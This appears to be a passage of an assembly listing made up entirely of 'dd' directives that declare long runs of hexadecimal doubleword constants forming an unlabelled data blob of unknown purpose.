		dd 434574B8h, 0D800A83Fh, 1256ACB4h, 0A22404h, 6DEC5A36h
		dd 8D170120h, 0A35C4700h, 0C37E9F0Eh, 7AED70C8h, 3957FA2Fh
		dd 0D5000340h, 0FD832145h, 8037704h, 439E68BDh,	0E8C7C001h
		dd 387A0003h, 978C4628h, 8D2D07A4h, 4412C102h, 0F46CE4h
		dd 696A4C19h, 0AD164A84h, 1F00DA7Fh, 0C83BB96h,	197A189h
		dd 742E5870h, 200E68F6h, 75034D0Fh, 4A2791D4h, 0D6509F51h
		dd 0A0C68Fh, 4788068Ah,	0B6466220h, 0FA878904h,	380BD41h
		dd 5890E0DAh, 0AB00F10Bh, 1A02F3EBh, 182E4725h,	0C626561Fh
		dd 242A2903h, 283F88A9h, 0D2AB1671h, 21FE0F15h,	3D1D4AE0h
		dd 4203DB44h, 8A957A74h, 0C0BBD31Fh, 0EA21A2DEh, 4A3D0776h
		dd 0D25D2EC5h, 89406FA1h, 9E00785Fh, 54779FBEh,	0F7FA71h
		dd 459D49AFh, 1C8A22C2h, 587C2C71h, 3BA54D00h, 0F2FE1E66h
		dd 0E8120057h, 34207D8Fh, 0F0019F89h, 0E45331C8h, 11DD2830h
		dd 0FF4B7ECh, 34945623h, 1EF8B260h, 0C81D3843h,	6F824CFCh
		dd 8E209841h, 7B01A3F9h, 61A8B864h, 8FFA004Bh, 3730100Ch
		dd 401DB9D3h, 0BDC0EDF5h, 0A6E0CB7Bh, 14170242h, 0E8A8D029h
		dd 0D35F8783h, 0E5F847C8h, 65AADA03h, 9B9282C3h, 41C4E0F5h
		dd 25200078h, 897C4A40h, 37FE4DEh, 0E810C100h, 7BEAC251h
		dd 0A8F75BD0h, 0E92900A6h, 714D974h, 0E42D0016h, 64FE81D5h
		dd 0A07428Dh, 8521AA5Ah, 17C037F5h, 25603FB3h, 9D681D2h
		dd 53E80E00h, 0EAD012h,	0D796F54Dh, 0F0752207h,	8F312B00h
		dd 3BD301FDh, 2F198F2h,	3CB820B7h, 26E175C4h, 5542804Ah
		dd 0EA792335h, 0F2E20026h, 2A853C58h, 0A9009148h, 10A52941h
		dd 47A2D9h, 590D4A38h, 158E7E2Bh, 64098872h, 8018EE46h
		dd 0AEDB65Fh, 820F001Ah, 70347A51h, 0E058A6BEh,	0AE6C0097h
		dd 8442BA5Fh, 26920067h, 9F5BBC2h, 3805DBB9h, 0DE0637A4h
		dd 5F0EE5C0h, 72FE0FC5h, 0D440CD91h, 289410B5h,	0D65ABD00h
		dd 0E1FB3552h, 0EA2F00DDh, 8E6B9C6Dh, 0D2000F50h, 36E7D8Bh
		dd 279774h, 0EB544075h,	0C05DFA4Ah, 3BD91A00h, 922077C3h
		dd 0CFF2003Fh, 1773ECF3h, 1D00F790h, 6DD02BD3h,	0A60EF1h
		dd 0E0B66F66h, 1E53EB8Ah, 720D2003h, 0B77A5215h, 57B0F897h
		dd 0EB8921h, 0EB8EF93h,	7529C985h, 5B1EB000h, 535FC2DAh
		dd 0F96B00FCh, 0FAE12749h, 140EFEF6h, 0A05790BFh, 0E0088F3Eh
		dd 0EC23E68Eh, 9350019h, 245C124Ah, 83004871h, 0AA229891h
		dd 0D1BF44h, 0F13E689h,	9389F32h, 73245701h, 0EDAFA048h
		dd 1DDB88DCh, 0C755E80h, 180E4285h, 827FC500h, 0C6FF2741h
		dd 28EEE89Ch, 0F962DAh,	5F138AF7h, 8E57CB25h, 0A8B0DB17h
		dd 0F33B72B8h, 102AAC8Ch, 5C03BD48h, 1F94F8Ah, 3A7FA882h
		dd 22500057h, 999EA5B3h, 593E5378h, 877DBE19h, 0DA5F294Fh
		dd 408456h, 0D470217Bh,	87434744h, 121A5101h, 54495F16h
		dd 7E84C3F4h, 2A0E0009h, 0BB3E3513h, 0C401A9E3h, 0DAAF90FDh
		dd 0C7309246h, 0FC51002Fh, 39A70470h, 29009107h, 0BED88472h
		dd 7F15D89h, 0E23BF9F5h, 929DB0F4h, 25008D28h, 38FD4073h
		dd 32E839h, 0E49C832Fh,	0FCA49D87h, 0F5575400h,	4231714Eh
		dd 1E050013h, 0EF509EBFh, 0FC7A5511h, 54CC3700h, 9586447h
		dd 903C003Dh, 1457B35Ah, 55000846h, 611F4F2h, 12C80Fh
		dd 83C9B9F3h, 0A110F5CAh, 0EC800C1Eh, 750216C0h, 0EA0506h
		dd 4AAF0114h, 4412F48Ch, 0FE770300h, 0FAF85DC4h, 0FC3D035Fh
		dd 0ECE824E5h, 8A85AA3h, 7B00F0BBh, 52268947h, 9966F1h
		dd 4C124504h, 5E485324h, 807C9139h, 0AA1BBAD3h,	78733h
		dd 0F82CC536h, 0F03C9DAh, 21006AECh, 0F0C44C0Bh, 49C91h
		dd 3971B8E4h, 445D32F6h, 3C1CF248h, 0D05A0080h,	4B8492A4h
		dd 3AFE00E4h, 1C074ACAh, 1B003531h, 4CC9D4F9h, 7CB826h
		dd 92852DE1h, 0EBD7A01Dh
		dd 466C1603h, 0D03CB907h, 0CC2909h, 0D036589h, 0E7B01075h
		dd 70A4F300h, 42932568h, 246600DDh, 260862CFh, 500B3860h
		dd 8EE7E81Dh, 8986C00Bh, 0B930E0h, 108B5B13h, 0FBC21A81h
		dd 0D4041404h, 9EC73B77h, 0EE604967h, 35FF13h, 6A1AC2F0h
		dd 9ADD98D7h, 0E9008978h, 505A0468h, 7ABA105h, 4C872558h
		dd 34409E49h, 0D5866BA6h, 4D27E000h, 91EEF118h,	0E1C10178h
		dd 0F81C98CCh, 5189CC3Eh, 39D70802h, 0C00F9214h, 2C945h
		dd 0F45CA44Ch, 121C8ECEh, 80B7AE00h, 6D733B1Fh,	0ACB10002h
		dd 0C6131493h, 0C917ABF7h, 900F10Bh, 3229A49Bh,	0C8C500FCh
		dd 2584A6FEh, 8B00A3F0h, 0AB091875h, 1340588Dh,	172CBA1h
		dd 0C6B543F1h, 2455E082h, 0C802610Eh, 3EC4C327h, 2AC0E07Ch
		dd 0D7FF0006h, 2205119Ah, 430F8D44h, 0C7166903h, 0A6B3F58Ch
		dd 4D54D015h, 0E720017Eh, 5D50E937h, 0EFFB306Ah, 80C04807h
		dd 310989Eh, 0C9C8A0h, 0CDA6D64Ah, 4B28072Bh, 26755103h
		dd 0C0B81450h, 0BE9654h, 8AC2B719h, 626D05A6h, 31503016h
		dd 9290FD00h, 0EC851F7h, 4110FD4Ah, 327E1B40h, 0D00128B0h
		dd 9F085749h, 1DCCFDEh,	819800DAh, 22B42E8h, 444C60CBh
		dd 12B6058Fh, 38C05003h, 32C3452h, 0AFC31C2Bh, 0FDA85905h
		dd 6600487Dh, 0D04E6573h, 3434D0Fh, 0FFB35E50h,	0E8EA88E6h
		dd 0A200DD5Ch, 829D83CBh, 127706h, 4625A39Bh, 0F2C95F31h
		dd 0A9948E00h, 0A8F3CB3Dh, 50080096h, 0FF5345A6h, 6012398h
		dd 0C1CA86CCh, 13708AD9h, 0BF4FB83Ah, 9C001170h, 2D9A92E7h
		dd 82931Bh, 808659FCh, 0CF5B4247h, 0C005F90h, 0CC08C850h
		dd 2DDC9Eh, 0F89F04D1h,	90845125h, 0B310F407h, 5E704882h
		dd 0C06FC8E1h, 75B80828h, 0D200C969h, 0E2131719h, 33D551h
		dd 0CDADDC16h, 88BB224Eh, 0D3665C07h, 2850B417h, 1D825B06h
		dd 89C0CD21h, 0A800D8F1h, 4005B1D1h, 8600E9E6h,	0ABC253C7h
		dd 2A4B22h, 21F37E75h, 0D0920A96h, 8BE34207h, 0B290F6CBh
		dd 0ECA7A5h, 0AAAF04A6h, 0FFB6D4Ah, 0CBDDBB00h,	8F4DD3FAh
		dd 557701DCh, 1ACC7CB5h, 60F8FD17h, 0E90034B5h,	83A62719h
		dd 76CA49h, 7948E5D5h, 1D86ED9Fh, 24003B7Ah, 3D9E2D74h
		dd 73737F89h, 49710327h, 0DA2E8BAEh, 0ADF5D3F0h, 3847958h
		dd 974C68D8h, 75D7E0CEh, 0D4D10301h, 0BB3374FFh, 7B3F42D8h
		dd 0F59C6B05h, 0D981FCECh, 0D1C4BDAEh, 94AC183Eh, 0E841DA4Bh
		dd 134F4Ch, 0B539EABh, 9D22985h, 0E8D3EE9h, 0DD605E0Fh
		dd 261F353Bh, 7D7FC3Ch,	717EE44h, 0C82583AFh, 5730A0C2h
		dd 3D57B816h, 8B00B614h, 8A01E36h, 0DD48ACE8h, 0A588605Ah
		dd 1C71D3F4h, 0C040700Dh, 0B4E46B20h, 8E0F528Ch, 88A516h
		dd 0FC181BCCh, 0CEB70012h, 0B9102F76h, 1C7590AAh, 0F80ED6E6h
		dd 4F55DF7Dh, 0C4DC0AFh, 6AD3C9h, 73DBCC02h, 0C35444F8h
		dd 0D2FF2000h, 316F050h, 3BECF685h, 48806B91h, 69CBC57Ah
		dd 17008119h, 744A423Ah, 8500Bh, 953E754Bh, 3CDDDFE4h
		dd 63D66C00h, 1976EC5Dh, 145A0029h, 8DC2625h, 50002A6h
		dd 0B0FC6D83h, 0C0B1F8B3h, 25BAF080h, 0DE000133h, 8AC9E902h
		dd 293CAAh, 6F754F12h, 6952EFCAh, 0F5A1973Ch, 24988202h
		dd 80D87C07h, 41E61DC3h, 21740004h, 66EE4D8Ah, 0F8004B23h
		dd 0C303B620h, 0E211A550h, 97C3C13h, 0FC5D0180h, 0DFF8C4DDh
		dd 98542700h, 0A0779482h, 63751450h, 0F00FB8Dh,	0BC060249h
		dd 0EA746E19h, 0B56F7403h, 0A0708655h, 980C6B3Fh, 0AB5E007Eh
		dd 0E59D8A64h, 49797D88h, 24DCAF00h, 4D89C758h,	664F00EBh
		dd 710452C9h, 3400A380h, 7A6ACE29h, 3ED5EEAAh, 0FD03A95Eh
		dd 0BCF0F20Ah, 0F3030A05h, 1AC00689h, 754C14h, 0CB241F67h
		dd 6281511Eh, 80275B3Eh, 4157353h, 7982E56Ch, 18E45Fh
		dd 867EAB61h, 4DE61A4Bh, 56982600h, 58C33253h, 705A007Ch
		dd 0A817A531h, 0EB122A7Bh, 15026F46h, 83042775h, 0E88E56AEh
		dd 5C5A157h, 46DC17EBh,	0A072C09Ah, 0CB7B8847h,	0CDEED400h
		dd 8B7A2933h, 0C7AB03D5h, 6394DA0Dh, 7524E798h,	0D7625616h
		dd 48979F00h, 3E181B4h,	5F256CB9h, 90C7AE4Ah, 0DD198908h
		dd 7D479003h, 0F85BC2B2h, 0FE8ECC1Dh, 0AA3201C4h, 867CE08Ah
		dd 0C806EC54h, 0D40743EAh, 0DC90D021h, 6693D881h, 8C4ECh
		dd 5EFA5525h, 0A06EC287h, 0F7621C00h, 8FE385C8h, 0A5570029h
		dd 64F13AB9h, 0B401D748h, 0CE254642h, 17E4C955h, 88010023h
		dd 4BE9E2CCh, 0D7005872h, 7B1AAC3Ah, 74172669h,	3867745Ah
		dd 782660Bh, 3BD9FF0Ch,	0D742040h, 0E7EAFD00h, 304060Ah
		dd 0AF2100FAh, 0C6E9F851h, 0E31D4119h, 0BCC418CEh, 0C7C32C43h
		dd 0F803D0E1h, 0ADCCA07Fh, 0FED6163Ah, 0B7790046h, 2865BD08h
		dd 0B1A04A71h, 0CE7756A6h, 0EA159200h, 5E0C7F81h, 0E740F35h
		dd 94F360Ah, 0FB313960h, 50001E1h, 0B912AD75h, 0EE194Ah
		dd 34FAC6B7h, 47AE0845h, 0C744AC00h, 0BCD8079Ch, 0BB420FE7h
		dd 0F2C06498h, 0EC823801h, 0DE026B00h, 6977CB79h, 76FC006Ch
		dd 291D67AEh, 4F1D24E9h, 7BC38D01h, 0C8EEF7C2h,	255E0Fh
		dd 1CE91156h, 2ED96259h, 69005D7Eh, 5FD3D7F0h, 5A72Ch
		dd 27084E13h, 8746F9D6h, 0F4007DF8h, 0FF12507Eh, 0FB4056h
		dd 0E13DE422h, 0A6846B63h, 0DC958D00h, 3F7FDDFEh, 27CC01B3h
		dd 6D97F650h, 94128255h, 405D588Bh, 3C21A92Ah, 58098F3h
		dd 511144E0h, 0F45C62CFh, 0A1027C4Eh, 0AEA4BCACh, 3B4FE093h
		dd 840F000Dh, 0FFC22EA7h, 9A00E2BAh, 0A4BD92C5h, 0EC3403F3h
		dd 191A0049h, 0AE252037h, 3F7B22E1h, 73E1203h, 0C060E83Dh
		dd 1F348A71h, 410BAC42h, 95FEDB8h, 17DE200Ah, 56243900h
		dd 0E541DA71h, 4A5700F0h, 903C23E2h, 0B800E7D4h, 0C722D0C4h
		dd 0F9ECE1BBh, 9DD887EDh, 0C9F0AFh, 903D4857h, 4C1F7A2Fh
		dd 0B39F4900h, 9735E2FAh, 0F425129Bh, 6C00EA3Fh, 5777DD2h
		dd 64750022h, 52534E96h, 0E800A0E9h, 49424395h,	7BDB2Fh
		dd 3A59A977h, 8294A8DAh, 0A08C6800h, 975A37D4h,	4715006Bh
		dd 0F8A44C69h, 400E1BEh, 0DC8861DFh, 2124274h, 3D87CCACh
		dd 59E023C6h, 15F2F2D0h, 5D96E900h, 5999747Dh, 42E1004Ah
		dd 5A6F40EBh, 5C00D3AFh, 0EFC5688h, 1D183F83h, 80FBAB12h
		dd 25C4FA22h, 450373B8h, 8542DD1h, 0C270B849h, 2AA00375h
		dd 0A3F4A719h, 2DFEF8E8h, 0D7F9D500h, 0D32FB897h, 82759Ch
		dd 0D6428A18h, 0AB204384h, 0E8114B03h, 0C8BBF7F8h, 67BD9h
		dd 0BC3BDC81h, 0A3B9C2EFh, 0E83A4200h, 86156CB0h, 0A1C93C03h
		dd 2D41C0Bh, 7A72BF00h,	60002124h, 0B7674BA3h, 4C8F012h
		dd 831D1C99h, 37083E8h,	163F6EA0h, 1822420Fh, 1C86587Ch
		dd 4A100756h, 0B0F961F8h, 0EEBA249h, 0E66C7700h, 2CB787CFh
		dd 0FA180034h, 8310A63Ch, 861E169Ch, 53410C5Ah,	0D993A524h
		dd 0E72FB330h, 16D5D0h,	0E4B2830Fh, 40645357h, 0E5391E76h
		dd 6C180020h, 834F603Ah, 8A0500C2h, 2932122Ah, 9D00FAFCh
		dd 0C44BEC5Eh, 48336002h, 0F00C56Ah, 189F5087h,	2800B683h
		dd 3EFF780h, 17895443h,	134976BEh, 0C4D2008Fh, 77265A74h
		dd 3BFFA100h, 63C8F875h, 269F6080h, 401F523Ch, 536B5E03h
		dd 0D7D24101h, 16C07544h, 0B1E173Ah, 8E183298h,	0BC1C1580h
		dd 0A00A4BEh, 0C493E70Bh, 0BB1531h, 0A824FED7h,	818340AFh
		dd 9EC7521Ch, 862D9CC0h
		dd 0A5E27Eh, 0CA940445h, 5EC84FA7h, 1C5A4000h, 6E433C88h
		dd 0C2680E18h, 57603B42h, 0A3D46D60h, 9AC98E00h, 9EA4FFF4h
		dd 404C03A9h, 0FCBFE048h, 38144ED0h, 0B355CF00h, 0F8CA1CA8h
		dd 785601E1h, 66108547h, 0AF1D4ECh, 80146A3Eh, 0DA9C8455h
		dd 0B497E06h, 99FF28E8h, 0E058CC02h, 0C562E181h, 6F37D82Fh
		dd 0DA969700h, 850667FBh, 0A83E00EBh, 63EFD3FCh, 212626E1h
		dd 4D000B5Ch, 0BAA5E0DBh, 0A35B00E4h, 0DAA7B6FCh, 0F717493Eh
		dd 0D207F989h, 84E0F083h, 17B8D45Fh, 0C2FC4Ah, 65886D11h
		dd 0E3006A48h, 22FA935Ch, 0E1A2C38h, 5EE0E275h,	694500F2h
		dd 71DDC9A8h, 79E9CC1Eh, 0B8EC44C0h, 6082B999h,	0EA96CE2Ch
		dd 5C03675Eh, 1E97F8F6h, 3894982Fh, 0CFDE014Bh,	0C7CE1110h
		dd 4A54DC21h, 17CDD801h, 57B22B2Fh, 26129820h, 17097ECh
		dd 5FD81692h, 5BCA200Ah, 3C0B2E09h, 0B8BDE012h,	42A900E4h
		dd 0E6DA7B04h, 2819BC50h, 0E320EC33h, 0BDF6F060h, 23841440h
		dd 0ED2ABD00h, 643A897Fh, 8E6907DEh, 404ED047h,	12E42D05h
		dd 0C85FBD00h, 5B571045h, 58EA006Ah, 3C4039E1h,	0FC00C6C9h
		dd 6D2E93D7h, 0E28223Dh, 0D04F91C2h, 0B7DF5520h, 0A8003276h
		dd 99FB29E4h, 5DB41Dh, 8CB6C5B8h, 2E941C59h, 4B9F2B00h
		dd 0C1583A87h, 2890042h, 0DB31B850h, 1E00C8FAh,	12B524AFh
		dd 16A4B610h, 0EB2FA9h,	0AC6CAAF7h, 7A7E471Bh, 0E7A63013h
		dd 4071DC07h, 0C2F41A60h, 0D5DC075Dh, 0B54AE19h, 4E0D5900h
		dd 8590F302h, 80C23E3Ch, 0EC2801F6h, 3D0AF5h, 146446E2h
		dd 11E153D8h, 891E7000h, 4E120448h, 3C1700F3h, 8D148744h
		dd 0C678407Bh, 86226700h, 4E6A92ABh, 62F31C07h,	0C5E8019Eh
		dd 0F8032701h, 0BD39579Bh, 2CE58AACh, 3C00E0F9h, 64B11D2h
		dd 6F3D00A9h, 10C802B8h, 4600AD35h, 7472954h, 3B766B25h
		dd 880C233h, 91FF14B4h,	2B0751A1h, 1C451702h, 7906C3CEh
		dd 0B120C888h, 0B00100ACh, 0DBDE6B3Dh, 5074EE26h, 0FC1C4D00h
		dd 99C3E1DCh, 534507E0h, 0A1CD47D4h, 0F05FC672h, 3A0403CCh
		dd 0BE481408h, 0B81DEBC3h, 0D22B45h, 640AD513h,	14D17803h
		dd 0EA005D76h, 82151E8Fh, 418E3h, 26DC58F1h, 4CDED30Ch
		dd 167E753Ah, 3907F49Dh, 3AB07B09h, 248303C9h, 3D9D2030h
		dd 1426EC80h, 48A4AC52h, 29F1800h, 663C432Bh, 98A003A1h
		dd 21C9548Ah, 91BA3Fh, 1994813Eh, 744431DDh, 0EC8EEEC2h
		dd 96EB0314h, 18422C43h, 4E7712F0h, 0C83E1F16h,	5ADD4F00h
		dd 0D3C58Ch, 27FF7D40h,	9FD1240Ch, 62ABA403h, 0D0545587h
		dd 7A11ADh, 0DCC83F01h,	0C40EC5B0h, 80EC243Fh, 5C7DAEA5h
		dd 0E8724AADh, 0C9900023h, 4149B77Ch, 0AB906AFFh, 0AAB4FB00h
		dd 81433038h, 0B3180053h, 2B2DF067h, 0E21F3C5Dh, 85C0421Eh
		dd 73AEF493h, 0D583075Bh, 0B034202Ch, 0A8B7F890h, 0B002D98h
		dd 506FFC21h, 2545389h,	42E4C4Eh, 5D600146h, 0BF3A88C7h
		dd 57500061h, 7009310Dh, 5152001Fh, 0A8651D28h,	800E02Ah
		dd 905EBB0Fh, 0B9A7D1h,	0BDB266FDh, 0AEF3F0AFh,	2576F600h
		dd 5C3AC42Ch, 322E0008h, 0A46854FCh, 0EE0FF809h, 279773BCh
		dd 0FF401825h, 36BB19h,	0D34A6FC3h, 0E9C029C7h,	0ADF6D00h
		dd 422B308Ch, 0F5E80040h, 32585324h, 2800AB5Eh,	1496F03Ch
		dd 0D58867h, 5B0FEAF7h,	9BACE45h, 0A2740200h, 5E75F8E9h
		dd 3330283h, 0C9627AF0h, 0FE60875Dh, 0F7FA8A10h, 433A0307h
		dd 0A129754Bh, 0F8FF03E0h, 0B5FB8C00h, 94773D64h, 1E6009Dh
		dd 4FCCF05Fh, 1600AA84h, 0A5272D76h, 483B97h, 24594A31h
		dd 108F2018h, 0C100E5EAh, 1CAAC085h, 719BEC55h,	0F492079Ah
		dd 0D0F2F04Ah, 3E3735B1h, 0D7007471h, 0FC106407h, 554C6Eh
		dd 0F018EB17h, 3B093EE9h, 0D72D700h, 0EC7FB58h,	3B067E73h
		dd 0EB002ACAh, 11B9085Ah, 0CD00E38Fh, 956F8EC1h, 60B2A6h
		dd 1AE88104h, 0BBD5C425h, 9E0594ECh, 0CE9AF7CCh, 84FEF5C0h
		dd 0E6A63C50h, 0F995AC89h, 0AB49C580h, 0C0E211Ch, 0E650E2C4h
		dd 0FA0E0815h, 0F114004Bh, 77E6B3FAh, 40004AEAh, 7EEBEE74h
		dd 78FF2515h, 477500D7h, 0A542B9DBh, 63288C8Fh,	7700C308h
		dd 837D4B2Eh, 58E5CBh, 6FB61CFAh, 0FE1634ACh, 211AEB03h
		dd 0A0FF5025h, 1F395CBDh, 80778E47h, 9FE07F44h,	1600EADBh
		dd 0B210EC08h, 76A89EF1h, 0F8880F46h, 0C77F4356h, 0AEEDAC50h
		dd 0DD40A540h, 25903817h, 2DEF80Ah, 0C500B603h,	0D02432BFh
		dd 0DF33031Dh, 1749AF13h, 2992D4B8h, 80E9AD7Dh,	1BEB3B78h
		dd 3AF00FAEh, 7178578Dh, 0A9170012h, 519C09AFh,	8003970Bh
		dd 0A2FE885h, 4871B802h, 5BDF0F42h, 0AF94EE7Dh,	9F549C0Fh
		dd 184C22A0h, 0E600B510h, 0BF14F049h, 0F2DEF4D4h, 850C3DE5h
		dd 0AE8EEB3Eh, 17E06A75h, 1027CEBCh, 52C7D600h,	0E4578C42h
		dd 454600AAh, 0E559A49h, 60901ADAh, 0BB9DEE00h,	0B5D8BE61h
		dd 0D68100CEh, 8D7EB814h, 6B0013AEh, 0ACBA7B84h, 6FFD21h
		dd 0EE4A58CFh, 1291B634h, 6B14B807h, 60C00E2Dh,	0E851451Bh
		dd 0E6037C89h, 0F08D0306h, 0B173285Ch, 90F8BDD8h, 4B6D2100h
		dd 0A63A221Ch, 6492EEFh, 0F3D400C4h, 0AE71D725h, 0CCF0B5h
		dd 2CD6758Ch, 6659F851h, 2A274900h, 438407ECh, 0ACEB0047h
		dd 0CF16D413h, 0BD3BB655h, 7D8C9E71h, 33B06C0h,	0C525FEh
		dd 7E899070h, 0B576A608h, 0EB999800h, 78FF6106h, 0C575004Fh
		dd 6C4A6B4Dh, 6A00512Bh, 81E47F4Bh, 0BFF3F40h, 64AAA2A5h
		dd 0EE209D8Fh, 75103B13h, 0D5A02000h, 0D9AB5208h, 0C8D200A4h
		dd 0BF8558FFh, 7B0082DCh, 4EB1C01h, 754E47h, 29D14FC4h
		dd 7449D090h, 682A8B1Dh, 7EBDE9C0h, 356282h, 53CF9443h
		dd 309ECC46h, 3B3A08E6h, 1375800Ah, 8D5004F6h, 8442005Bh
		dd 8020C5F5h, 9C005FCEh, 0B8C1AC02h, 0D36AB2h, 0FEDAC0B7h
		dd 0CBC22B48h, 5DE6F500h, 8E1AD70h, 339100F4h, 0DFD5BFF3h
		dd 0B300D0AAh, 0EC063B03h, 18D327Bh, 4E561243h,	0D002F1A9h
		dd 2377220Dh, 0DB00B0F2h, 426B201Ch, 5B8F25h, 730D6DF1h
		dd 0BB223310h, 65C45801h, 5149180Ch, 0BFA9ECh, 0E0692159h
		dd 7B428920h, 0C65E7003h, 0D9C44AE2h, 85DC28AFh, 0D5180E1Dh
		dd 0EBC015F0h, 0EFD3530Ch, 0F37021Fh, 575ECFh, 0B0456B70h
		dd 0A7F20072h, 0A4DDDAE9h, 19007567h, 0BC7F0812h, 0F5F8A90h
		dd 8FD83BBDh, 2568FEA3h, 2FD7FE00h, 0A9BC869h, 14DE0F03h
		dd 1040D464h, 0A4B8AE40h, 61698507h, 30710DE4h,	0B0DDAF21h
		dd 4866EC30h, 0DD004798h, 8A06DE69h, 0D703AC04h, 0A3AA2249h
		dd 930288F4h, 2DAE3BC4h, 52BE3B87h, 0A151F082h,	14011AA7h
		dd 45089D1h, 58F40B57h,	0E8C8FB08h, 799F00F3h, 28B65BABh
		dd 5A00C664h, 444A4CA6h, 0EB10110h, 88D1438h, 43548E3Dh
		dd 214053EFh, 6818E439h, 64854018h, 387710Ah, 78A21C91h
		dd 0DEA89015h, 0EA003D1Fh, 772816C3h, 95317h, 0D15B70Ah
		dd 95048903h, 396A200Fh, 0F12D2082h, 3518BB0h, 0A9257DBEh
		dd 168817BBh, 0C8FEF91Dh, 24EB1103h, 0B8FA033Ah, 15CE46Dh
		dd 8DB5685Ah, 70D73234h, 30002B5Bh, 2EA9D97Fh, 0E445F854h
		dd 0D3A05086h, 0B09201A1h, 0DE5B337Ah, 0BC4F0E8h, 9480E2A0h
		dd 3C61300h, 0FEE3685Fh, 9BC33C51h, 0A41C0580h,	2BF5BEB5h
		dd 0E8B74000h, 0D29D2F41h, 24C200E4h, 42E7CFE9h, 530FCACEh
		dd 0DEE518DCh, 0BA0CC900h
		dd 0EFA1D8h, 2F9B57E8h,	4838C28Dh, 0B291E100h, 42C4230Eh
		dd 7615EC98h, 0BEA40010h, 0C97625A2h, 0B104D62Ah, 0CEFD0313h
		dd 4A045DC0h, 38585C2Ch, 0C3C1B307h, 0AE749010h, 18264006h
		dd 3700FF28h, 0B964508Dh, 32C900FCh, 17910C70h,	0A2009FE8h
		dd 1324044Ah, 462338h, 0D8271144h, 0A5ECD5D2h, 0F4C8A030h
		dd 310869h, 35740623h, 0D24B072h, 86483400h, 36831103h
		dd 141200FAh, 0ADB364B9h, 0A03891Dh, 610F90DBh,	0C8BAE823h
		dd 0C01300B2h, 88F271D5h, 3A284515h, 9909CB65h,	80413D80h
		dd 34A11A4Bh, 0B6703Eh,	0C6A8452h, 0FF854F9Dh, 7E5A1500h
		dd 2CF4AAEAh, 1B200059h, 4D2FB76Ah, 32004B13h, 0E5C45449h
		dd 90C838B3h, 0F4EC7658h, 18ACEE4Ch, 76C9EEA4h,	72013049h
		dd 90C444D0h, 0A1F4FABDh, 2080011h, 1CB419D4h, 0D873810Ch
		dd 0CD8EB800h, 2E98C070h, 24A2E0A9h, 201EA7h, 0A458E816h
		dd 0D400A6B1h, 682BC031h, 39059AF8h, 5EF08F54h,	0C031C466h
		dd 5F2D503Eh, 20C0C774h, 3DB469A7h, 75BD00F2h, 66C3079Ah
		dd 460047BEh, 4A4DBF41h, 0E81A83h, 0ABEE3561h, 0FE81E169h
		dd 74228C00h, 0DB408805h, 0B80A3A6Ch, 988F6401h, 0ECC463E3h
		dd 0C10312E8h, 407CC35Eh, 0CDBEE89Eh, 91A00E9h,	0D231C2D6h
		dd 0AF00CB77h, 6B51BF9h, 690B42h, 0FD5150ACh, 344E5CCh
		dd 80C6013Dh, 3B54A54Fh, 985680h, 59284E77h, 7540055Ah
		dd 0D6010C00h, 0D2E28B21h, 12B200BCh, 20C6480Dh, 4C00CD31h
		dd 5EE9D90Fh, 0AED755h,	99A0ED1h, 3401EB3Eh, 43495301h
		dd 410AC145h, 0DC544EC8h, 1590408Eh, 44FA5657h,	0A598B102h
		dd 0C04ADDD0h, 587B4Eh,	2435B09h, 8F298E08h, 9976B026h
		dd 9466E800h, 917EE7h, 9E90454h, 5EEABA52h, 27E0B9B0h
		dd 29F6000h, 862412FFh,	0F7EE02C7h, 33F00184h, 0A437A080h
		dd 6C5F8D3Ah, 9730B4BCh, 0A22275FAh, 14AFB701h,	99F71929h
		dd 165E560h, 2E5BEEF2h,	0D487C13Dh, 6800560Bh, 99EFB574h
		dd 9BB87Fh, 0C08FAE4Fh,	5A80A896h, 0F0409800h, 61F976BDh
		dd 42B600C3h, 0AA79551Dh, 0FA134A13h, 0C100F608h, 3510F40Eh
		dd 446A005Dh, 29B6693Dh, 0CF00B53Fh, 0C98BBD30h, 1708A36h
		dd 0E804F249h, 60752702h, 1504F93Dh, 84FC53FFh,	0EBE600AAh
		dd 3E1A5F18h, 0B214307h, 7CB00162h, 12E5109h, 46B58D0Ch
		dd 0D8D69FDCh, 0D13C774Fh, 2AB6006Bh, 50A2E4B8h, 0D8C5305Fh
		dd 9D834CFEh, 1D08A602h, 0C005C27Dh, 3C557199h,	0CA008BD9h
		dd 0BAEC10B6h, 0FB01024Ah, 522547Ah, 0F7FC394Eh, 0F07BE35Fh
		dd 0E20EB77Fh, 0AE4236CCh, 24C5A1A2h, 0D4605525h, 0FC0C0E4Fh
		dd 0B8C9A1BEh, 0C7EC1300h, 8400A293h, 603B982Eh, 705031Ah
		dd 13C5640Ch, 4C6DE015h, 20027A3h, 85420BD6h, 7C77FDBh
		dd 0A8EF085Bh, 0EB77C02Dh, 0E1006E6Bh, 0C4A4738h, 7A1435h
		dd 3D830A20h, 717D210h,	0A1006E78h, 4BCF138Ah, 317F9Ch
		dd 14AB0C4Ch, 8F2B6B3Fh, 0A38E250Eh, 600FCF19h,	17A44716h
		dd 0F7E8077Fh, 90ACE18Ah, 520A453Bh, 2D00C9E4h,	0B348B242h
		dd 3A8D714h, 85465C50h,	0A09F7A3Dh, 4EDA61ACh, 80539B38h
		dd 403C0939h, 9E92D2h, 0AB1143BDh, 1FA67C15h, 0E4C4A01Ch
		dd 0B86A8681h, 9ED04D10h, 0C7CA8h, 32463034h, 4C088BA1h
		dd 0A350F61Fh, 4852077Ch, 64D0DEAAh, 0EA2D84h, 0EBE3814h
		dd 95FB9F70h, 34A92F00h, 0C6D7600Bh, 3E980023h,	0C2E10F73h
		dd 13000571h, 357CABE7h, 77B94608h, 48A70092h, 181E0C2Dh
		dd 5003343h, 0C80B448Dh, 3F555BC1h, 7C3872F3h, 0A1B49300h
		dd 0D32BE1C7h, 1A00D390h, 62EAF095h, 70F30E38h,	5D080033h
		dd 1F3EC581h, 1E01865Eh, 0DADD874Dh, 0E2C0657Ch, 0E128005Ch
		dd 8DD32305h, 4800532Eh, 0FDDA8204h, 13608A0Ch,	3E68131h
		dd 0A21274EAh, 0B10B10D8h, 6553BA00h, 0B48DDBA0h, 487F7023h
		dd 2B003FE3h, 81FE87F3h, 0E900F703h, 4F62A6C4h,	0B10E07h
		dd 779A31B0h, 0C683E087h, 0A8640B00h, 6072546Bh, 0A08003Ch
		dd 0E4D12BC4h, 7C00F8D6h, 5F354715h, 0E348381h,	240E5E11h
		dd 0BC1BC2C0h, 0F5005DD2h, 52977029h, 183E51h, 0AC64EA82h
		dd 4076F83Ch, 198BA600h, 8EF2302Eh, 81E815h, 0C03512C7h
		dd 528D5A3Dh, 0B8340B07h, 0A8E0BDAEh, 79F3D8C1h, 7C6E096Bh
